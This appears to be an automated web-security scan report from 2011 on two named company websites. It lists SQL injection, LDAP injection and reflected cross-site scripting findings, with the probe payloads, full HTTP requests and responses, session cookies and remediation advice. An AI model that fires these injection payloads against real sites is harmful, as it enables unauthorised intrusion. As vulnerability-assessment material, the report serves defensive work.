   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/menu.css" type="text/css">
   
   <!-- calendar stylesheet -->
   <link rel="stylesheet" type="text/css" media="all" href="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar-blue.css" title="win2k-cold-1" />

       
   <!-- main calendar program -->
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar.js"></script>
<!-- language for the calendar -->
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/lang/calendar-en.js"></script>
<!-- the following script defines the Calendar.setup helper function, which makes adding a calendar a matter of 1 or 2 lines of code. -->
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/js
...[SNIP]...

1.6. http://www.dominionenterprises.com/main/do/For_Businesses [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.dominionenterprises.com
Path:   /main/do/For_Businesses

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 16640137'%20or%201%3d1--%20 and 16640137'%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /main/do/For_Businesses16640137'%20or%201%3d1--%20 HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.dominionenterprises.com/main/do/Advertiser_Agreement
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; PHPSESSID=6fd5a07363603c0a3f4685bb1fb4e9b2; TSa27990=d77c9a2ab2f3f328d9ee79ee1dcd6b0b3a05433071c0aed34dc4432a9c5eca8583c4cdbd; WT_FPC=id=227919100c685f30f311304725152629:lv=1304725152629:ss=1304725152629; s_nr=1304725175943; s_lv=1304725175944; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response 1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:37:58 GMT
X-Powered-By: PHP/4.4.2
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:37:58 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 32708

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Home</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Home">
   <meta name="keywords" content="Home">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">

<script language="javascript" type="text/javascript">
var IsIPad = false;
function QueryStringIsRequestFromMobile(DirectToFullSite) {
Queries = window.location.search.substring(1);
if (Queries == "" || Queries == null) {
return false;
}
else {
QueryArray = Queries.split("&");
for (i = 0; i < QueryArray.length; i++) {
QueryValue = QueryArray[i].split("=");
if (QueryValue[0] == DirectToFullSite) {
if (QueryValue[1] == "fs24lmj09")
return true;
else
return false;
}
else
return false;
}
}
}
function IsMobileRedirection() {
var agent = navigator.userAgent.toLowerCase();
var IsMobile = false;
if ((agent.indexOf('absinthe') != -1) ||
(agent.indexOf('albacore') !
...[SNIP]...

Request 2

GET /main/do/For_Businesses16640137'%20or%201%3d2--%20 HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.dominionenterprises.com/main/do/Advertiser_Agreement
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; PHPSESSID=6fd5a07363603c0a3f4685bb1fb4e9b2; TSa27990=d77c9a2ab2f3f328d9ee79ee1dcd6b0b3a05433071c0aed34dc4432a9c5eca8583c4cdbd; WT_FPC=id=227919100c685f30f311304725152629:lv=1304725152629:ss=1304725152629; s_nr=1304725175943; s_lv=1304725175944; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response 2

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:37:58 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:37:58 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Length: 0
Content-Type: text/html


1.7. http://www.dominionenterprises.com/main/do/businesses/id/13/category/For%20Businesses [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.dominionenterprises.com
Path:   /main/do/businesses/id/13/category/For%20Businesses

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 48717636'%20or%201%3d1--%20 and 48717636'%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /main/do/businesses48717636'%20or%201%3d1--%20/id/13/category/For%20Businesses HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.dominionenterprises.com/main/do/For_Businesses
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; PHPSESSID=6fd5a07363603c0a3f4685bb1fb4e9b2; TSa27990=d77c9a2ab2f3f328d9ee79ee1dcd6b0b3a05433071c0aed34dc4432a9c5eca8583c4cdbd; WT_FPC=id=227919100c685f30f311304725152629:lv=1304725177227:ss=1304725152629; s_nr=1304725179971; s_lv=1304725179971; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response 1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:38:52 GMT
X-Powered-By: PHP/4.4.2
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:38:52 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 32718

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Home</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Home">
   <meta name="keywords" content="Home">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">

<script language="javascript" type="text/javascript">
var IsIPad = false;
function QueryStringIsRequestFromMobile(DirectToFullSite) {
Queries = window.location.search.substring(1);
if (Queries == "" || Queries == null) {
return false;
}
else {
QueryArray = Queries.split("&");
for (i = 0; i < QueryArray.length; i++) {
QueryValue = QueryArray[i].split("=");
if (QueryValue[0] == DirectToFullSite) {
if (QueryValue[1] == "fs24lmj09")
return true;
else
return false;
}
else
return false;
}
}
}
function IsMobileRedirection() {
var agent = navigator.userAgent.toLowerCase();
var IsMobile = false;
if ((agent.indexOf('absinthe') != -1) ||
(agent.indexOf('albacore') !
...[SNIP]...

Request 2

GET /main/do/businesses48717636'%20or%201%3d2--%20/id/13/category/For%20Businesses HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.dominionenterprises.com/main/do/For_Businesses
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; PHPSESSID=6fd5a07363603c0a3f4685bb1fb4e9b2; TSa27990=d77c9a2ab2f3f328d9ee79ee1dcd6b0b3a05433071c0aed34dc4432a9c5eca8583c4cdbd; WT_FPC=id=227919100c685f30f311304725152629:lv=1304725177227:ss=1304725152629; s_nr=1304725179971; s_lv=1304725179971; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response 2

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:38:52 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:38:52 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Length: 0
Content-Type: text/html


2. LDAP injection  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.dominionenterprises.com
Path:   /main/do/Careers

Issue detail

The REST URL parameter 3 appears to be vulnerable to LDAP injection attacks.

The payloads *)(sn=* and *)!(sn=* were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.

Issue background

LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.

Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue remediation

If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.

Request 1

GET /main/do/*)(sn=* HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response 1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:36:26 GMT
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=ec8318b7ec9c1aec4cccc43a2cfd61b4; expires=Sun, 08 May 2011 19:36:26 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:36:26 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Length: 0
Content-Type: text/html
Set-Cookie: TSa27990=3889173c8335cc2b8a01f99c2edb15b1b4d5d0d9198b18674dc443739c5eca85e1bf282b; Path=/

Request 2

GET /main/do/*)!(sn=* HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response 2

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:36:27 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=fbdf302905adb668a06e8b9c3ffaa68f; expires=Sun, 08 May 2011 19:36:27 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:36:27 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Length: 0
Content-Type: text/html


3. Cross-site scripting (reflected)  previous  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


3.1. http://www.dhmiservices.com/ClickContact/js.ashx [img parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dhmiservices.com
Path:   /ClickContact/js.ashx

Issue detail

The value of the img request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 239be"%3balert(1)//e2bc96337d2 was submitted in the img parameter. This input was echoed as 239be";alert(1)//e2bc96337d2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ClickContact/js.ashx?Agent=950b13d4-72fe-46ca-891d-8922b0525b3e&img=http%3A%2F%2Fwww.dhmiservices.com%2FImageHandler.ashx%3Fimg_id%3D3824239be"%3balert(1)//e2bc96337d2 HTTP/1.1
Host: www.dhmiservices.com
Proxy-Connection: keep-alive
Referer: http://www.agentadvantage.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 18:40:49 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Content-Length: 653
Set-Cookie: BIGipServerdhmweb_http_pool=2237947146.20480.0000; expires=Fri, 06-May-2011 20:40:49 GMT; path=/

function load2058797069() {
var load = window.open('http://950b13d4-72fe-46ca-891d-8922b0525b3e.dhmiservices.com/ClickContact/popup.aspx?var1=950b13d4-
...[SNIP]...
<img src=\"http://www.dhmiservices.com/ImageHandler.ashx?img_id=3824239be";alert(1)//e2bc96337d2\" border=\"0\" alt=\"Click to Call\"/>
...[SNIP]...

3.2. http://www.dhmiservices.com/ImageHandler.ashx [img_id parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dhmiservices.com
Path:   /ImageHandler.ashx

Issue detail

The value of the img_id request parameter is copied into the HTML document as plain text between tags. The payload e1fbf<script>alert(1)</script>cf716ce4fbd was submitted in the img_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ImageHandler.ashx?img_id=3824e1fbf<script>alert(1)</script>cf716ce4fbd HTTP/1.1
Host: www.dhmiservices.com
Proxy-Connection: keep-alive
Referer: http://www.agentadvantage.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 18:40:26 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Content-Length: 118
Set-Cookie: BIGipServerdhmweb_http_pool=2237947146.20480.0000; expires=Fri, 06-May-2011 20:40:26 GMT; path=/

Conversion failed when converting the nvarchar value '3824e1fbf<script>alert(1)</script>cf716ce4fbd' to data type int.

3.3. http://www.dominionenterprises.com/main/do/businesses/id/13/category/For%20Businesses [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.dominionenterprises.com
Path:   /main/do/businesses/id/13/category/For%20Businesses

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bde62"><a>f053602bd88 was submitted in the REST URL parameter 7. This input was echoed as bde62\"><a>f053602bd88 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /main/do/businesses/id/13/category/For%20Businessesbde62"><a>f053602bd88 HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.dominionenterprises.com/main/do/For_Businesses
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; PHPSESSID=6fd5a07363603c0a3f4685bb1fb4e9b2; TSa27990=d77c9a2ab2f3f328d9ee79ee1dcd6b0b3a05433071c0aed34dc4432a9c5eca8583c4cdbd; WT_FPC=id=227919100c685f30f311304725152629:lv=1304725177227:ss=1304725152629; s_nr=1304725179971; s_lv=1304725179971; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:40:19 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:40:19 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 23191

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Businesses</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equi
...[SNIP]...
<div class="secondary_nav_item" style=" color:#000000; font-size:12px; font-weight:bold; padding-left:18px;" onclick="window.location.href='http://www.dominionenterprises.com/main/do/For_Businessesbde62\"><a>f053602bd88';">
...[SNIP]...

3.4. http://www.dominionenterprises.com/main/do/businesses/id/13/category/For%20Businesses [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dominionenterprises.com
Path:   /main/do/businesses/id/13/category/For%20Businesses

Issue detail

The value of REST URL parameter 7 is copied into the HTML document as plain text between tags. The payload 7db69<img%20src%3da%20onerror%3dalert(1)>eafdbdd941c was submitted in the REST URL parameter 7. This input was echoed as 7db69<img src=a onerror=alert(1)>eafdbdd941c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /main/do/businesses/id/13/category/For%20Businesses7db69<img%20src%3da%20onerror%3dalert(1)>eafdbdd941c HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.dominionenterprises.com/main/do/For_Businesses
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; PHPSESSID=6fd5a07363603c0a3f4685bb1fb4e9b2; TSa27990=d77c9a2ab2f3f328d9ee79ee1dcd6b0b3a05433071c0aed34dc4432a9c5eca8583c4cdbd; WT_FPC=id=227919100c685f30f311304725152629:lv=1304725177227:ss=1304725152629; s_nr=1304725179971; s_lv=1304725179971; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:40:25 GMT
X-Powered-By: PHP/4.4.2
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:40:25 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Set-Cookie: TSa27990=f83cff2dc826eeb8b7b7b1111afdbdaf3a05433071c0aed34dc444639c5eca8583c4cdbd; Path=/
Content-Length: 23235

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Businesses</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equi
...[SNIP]...
<img_src/a_onerror/alert(1)>eafdbdd941c';">
                           FOR BUSINESSES7DB69<IMG SRC=A ONERROR=ALERT(1)>EAFDBDD941C
                       </div>
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next
There are 5 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



4.1. http://www.dominionenterprises.com/main/do/Advertiser_Agreement  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.dominionenterprises.com
Path:   /main/do/Advertiser_Agreement

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /main/do/Advertiser_Agreement HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725151554; s_lv=1304725151555; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:34:02 GMT
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=a04a37315744dfa2c5d0a931085c6e24; expires=Sun, 08 May 2011 19:34:02 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:34:02 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Set-Cookie: TSa27990=fed4b74685f8c1dc6296cbb5d2e09fb36a0cd9d3c40f8c0d4dc4429f9c5eca85da809a57; Path=/
Content-Length: 34603

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Advertising User Agreement</title>
       <base href="http://www.dominionenterprises.com/" />

...[SNIP]...

4.2. http://www.dominionenterprises.com/main/do/Careers  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.dominionenterprises.com
Path:   /main/do/Careers

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /main/do/Careers HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:34:23 GMT
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=1aeb2eec6fc3d97068100438c4ab3ee3; expires=Sun, 08 May 2011 19:34:23 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:34:23 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Set-Cookie: TSa27990=5a5e7a00cb3b96b274ce4d2f25ed918182b81f14d9de53ba4dc443409c5eca8584c97b80; Path=/
Content-Length: 19076

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Careers</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="
...[SNIP]...

4.3. http://www.dhmiservices.com/ClickContact/js.ashx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dhmiservices.com
Path:   /ClickContact/js.ashx

Issue detail

